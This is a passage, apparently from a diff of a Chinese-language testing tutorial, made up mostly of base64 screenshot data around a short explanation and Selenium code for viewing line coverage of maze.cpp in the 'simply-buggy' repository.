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
+)
+
+您将首先在`simply-buggy`存储库中看到文件的完整列表，除`maze.cpp`文件以外的所有文件都显示0％的覆盖率（因为我们对这些二进制文件不做任何操作，因为我们使用覆盖率支持对其进行了重建）。 现在单击`maze.cpp`并逐行检查覆盖范围：
+
+```py
+maze_cpp = gui_driver.find_element_by_xpath("//*[contains(text(), 'maze.cpp')]")
+maze_cpp.click()
+time.sleep(1)
+
+```
+
+```py
+gui_driver.set_window_size(1400, 1400)
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABpAAAAY3CAYAAABoOjyXAAAgAElEQVR4nOzdeXQUdaL28fvnPe/ce2dcxrnjjKO2LMIMKhQ0BIJAzMQYFiNiDGTYjLIGCBAQlD0hCQESCCTS6bQri4i44TAIoiwOKEFQBBwREAFZRPa02wjP+we3iq5ekg507CDf55zPmUmnurq6urqC9VT96j8cDocAAAAAAAAAAAAA039EewEAAAAAAAAAAABQt1AgAQAAAAAAAAAAwIYCCQAAAAAAAAAAADYUSAAAAAAAAAAAALChQAIAAAAAAAAAAIANBRIAAAAAAAAAAABsKJAAAAAAAAAAAABgQ4EEAAAAAAAAAAAAGwokAAAAAAAAAAAA2FAgAQAAAAAAALgizZ07V1u2bNHmzZsB4JJt2bJFc+fOjfo+ra6hQAIAAAAAAABwxXn33Xe1fft2HT16VKdPn9bZs2cBoMZOnz6to0ePavv27Vq9enXU9211CQUSAAAAAAAAgCuK2+3W9u3b9e233+q7777TDz/8AACX7LvvvtO3336r7du3y+12R30fV1dQIAEAAAAAAAC4omzevFnHjh3Tjz/+qJ9++knnzp3T+fPnAaDGzp07p59++kk//vijjh07ps2bN0d9H1dXUCABAAAAAAAAuGLUr19fmzdv1rfffqtz586JEEIikXPnzunbb7+lQPJBgQQAAAAAAADgirJ582b98MMPOn/+fLSPORNCfiE5f/68fvjhBwokHxRIAAAAAAAAAK4oFEiEkEiHAikQBRIAAAAAAACAKwoFEiEk0qFAChSxAmnGjBk6dOhQxHz11VfW/3bu3DnqKwoAAAAAAABA3UCBRAiJdCiQAkWsQMrPz9dHH32knTt3aufOndqxY0eAnTvDe2zH9u3avn27du7cqY8++kidOnWK+ooCAAAAAAAAUDdQIBFCIh0KpEARK5Dy8vK0detW/TkmTjH3PaC2XR5W3EO9dU/3dCX2GqjEPoPVud9IdUwfpi79RqhLv+F6YNBodXksU/f2HKjYLilq3bGr2nTqpmZ3x+uu2Dj9uWkLbd26lQIJAAAAAAAAgIUCiRAS6VAgBYpYgTR16lRt2bJFd3dNU9d+w9Q980n1fTJPA/PmakhhuUaWLtTjT78i9z/e0yvvbVXOwr8rq3SBMma4VLDoTbn+8Z56j81R8iODdF9qb91z/0NqE/dXbdmyhQIJV7Xu3btr8ODBVerVq1fUlxM/v65du1a7bZgGDBggp9MZ9WVG3ZGQkBD29mNuQ3/5y1+ivtwAAAAA4HBQIBFCIp+fs0BKSkpSenq60tLS1LJly6jvU0OJWIGUk5OjDz/8ULH3p6pz30F6aNAo9Xx8ih6bXKQB0+Zp6Ozn9PL6rRpV/oqefPZ1zVj6tl5e/6Fc/1ivrJL56j5inPqOy9Ojk4sU/2APtev4gFq1u0ebN29Wx44do76igGho1aqVPB5PWNq3bx/15cXP55FHHpHH41FBQYHGjBlTrZKSEg0YMCDqy426o0uXLmFtO6ZRo0bpzjvvjPpyAwAAAIDDQYFEyNWer776SqtWrdLixYv10Ucf6bvvvrvsef4cBdLtt9+uCRMm2I7rulwupaSkRH2/GkzECqTs7GxVVFSoZVJXJfZI1/2PDtVDQ8eq59hc9Z00U6XL1mjQzKf19Fsb9PcPtmnQTI/6Zherx5ipGjbDpVfe26puGaOV2P0RPTR0rFr/taOcbduroqJCSUlJEX/js2fPrlJOTk7UPxxfGRkZ1rKNGDGi2umbNGmiWbNmWc+pV69e1N8Daq5bt25hF0i9e/f+2ZarUaNGatCgQcifUbsefvhheTwejRs3TvXr1w/rOWPGjNHgwYOjvuwAwlO/fn01b9486ssBAAAA1FUUSIRcndm7d6969+4twzBsYmJi9Oyzz+qnn3665Hn/HAXSoEGDgh7bdbvdatOmTdT3rf4iViBNmTJFmzZtUkynFCWmParOjw7Vg0PGqsfjORr/3Gt6JGeOnl21QYOLntGQ2c+r37R56jtltv72RL76TCpS14FZmjBvvjo9kqGEHum6u3M3tWwfrw8++ED33XdfxN94dQfjXS5X1D8c//XruzFVVwhlZmba3g8H969Mw4cPD7tAGjduXNjzbd++vYYNG6ZRo0apa9euatiwYY2Wq6SkRMXFxSF/ri05OTl68MEHo/65RNuYMWPC3i7MfVlVBVKvXr00YMAADRgwQP3799dDDz0U9fdYldjYWOXn56tFixa1+jpXw/b2+OOPh70tJSQkhJxPgwYNrG1owIAB6tevnxITE6P+/iLpcvebNZGdnS232y2Px6NZs2Zp2LBhYZ08Em0/13cTAAAAcDgiVyDt379fGzZs0MaNG3X06NHLmldtZdWqVXK5XDpw4EC0F4WQqObdd99Vq1atrNLor3/9q9LS0tSiRQvrsfT0dP3444+XNP+fo0AqKSkJeezlsccei/q+1V/ECqTJkydr48aNatI2Xq2TktW+aw8lpD2qLv1HqseYXPWdMlt9xhcoddQU9Z44U29v2alhs55R38mztGTdZsV376t2yal6wrVIxt336P4BI3VHc6fef//9Wi2QunXrps6dOweoawe+fAskj8ejRx55pEYbIgXSlamwsDDsg7ulpaW67bbbqpzfgw8+qLKysqDPb926ddjL9XMUSE888YRtu73jjjvk8Xg0ZcqUqH8u0VaTAsnj8VjPCVUguVyuoGc91NUD1unp6fJ4POrZs6f12MCBAxUfHx+x17hatrcmTZqouLi42m2ouqvXmjVrFvR58+bN08MPPxz19xmM/z4mlEjtN8P14IMPyuPxaOLEida/UUpKSjRv3ryorzNfrVu3VmZmpu2xYN9NAAAAoLZcboF07tw5vfDCC3K5XDZlZWXasGHDJc2ztvLWW2/J5XJp79690V4UQqKWb775RnFxcTIMQw899JA+++wz6/t/9uxZPfvss1aJVFpaekmvUdsF0l/+8pcqj7+MHj066vtWfxErkCZOnKgNGzbodufdatbhXrW8t4ti709Vyqhsxac9pnlvrlXSo5nq1H+kkoeM1UtrK6wP5vHS+WrTJUWt7r1fd7aJ091d03RX23v0l2bNtXHjRt17770Rf+Pmh9KkSZOofwjhMAukp556yjojOdS0CQkJ1pUH5eXltVYg1fawe